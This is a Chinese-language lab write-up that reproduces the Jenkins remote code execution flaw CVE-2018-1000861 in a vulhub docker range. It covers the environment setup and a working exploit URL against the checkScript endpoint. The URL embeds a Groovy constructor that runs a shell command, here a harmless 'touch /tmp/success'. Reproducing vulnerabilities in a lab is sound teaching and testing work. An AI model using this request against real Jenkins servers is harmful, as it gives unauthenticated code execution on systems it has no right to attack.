Jenkins远程命令执行漏洞(CVE-2018-1000861)
Jenkins远程命令执行漏洞(CVE-2018-1000861)
1.实验目的
复现并分析【CVE-2018-1000861】Jenkins 远程代码执行漏洞
使用docker技术搭建漏洞环境,在实验环境中复现该漏洞。
2.覆盖知识点
Jenkins
Jenkins可以通过其网页界面轻松设置和配置,其中包括即时错误检查和内置帮助。通过更新中心中的1000 多个插件,Jenkins 集成了持续集成和持续交付工具链中几乎所有的工具。Jenkins的反序列化漏洞,攻击者使用该漏洞可以在被攻击服务器执行任意代码,漏洞利用不需要任何的权限
Docker
Docker 技术使用 Linux 内核和内核功能(例如 Cgroups 和 namespaces)来分隔进程,以便各进程相互独立运行。这种独立性正是采用容器的目的所在;它可以独立运行多种进程、多个应用,更加充分地发挥基础设施的作用,同时保持各个独立系统的安全性。
3.实验环境与操作
实验环境
1、VMware Workstation 16
2、Ubuntu 20.4 操作系统(靶场安装环境)
IP地址:192.168.32.135
3、kali Linux
IP地址:192.168.32.128
4、vulhub靶场
实验步骤
打开Ubuntu靶机进入镜像目录
cd /vulhub/jenkins/CVE-2018-100861
启动docker
docker-compose up -d
启动成功后在kali中打开http://192.168.32.135:8080/
即
http://your IP:8080/
打开后可以看到一个由Jenkins框架搭建的页面。
漏洞复现
使用如下指令直接开始攻击,访问URL即可完成攻击
http://192.168.32.135:8080/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true
&value=public class x {
public x(){
"touch /tmp/success".execute()
}
}
随后我们在Ubuntu中查看是否实现攻击
使用docker exec -it ID bin/bash进入目录中进行查看,可以看到成功注入,漏洞复现成功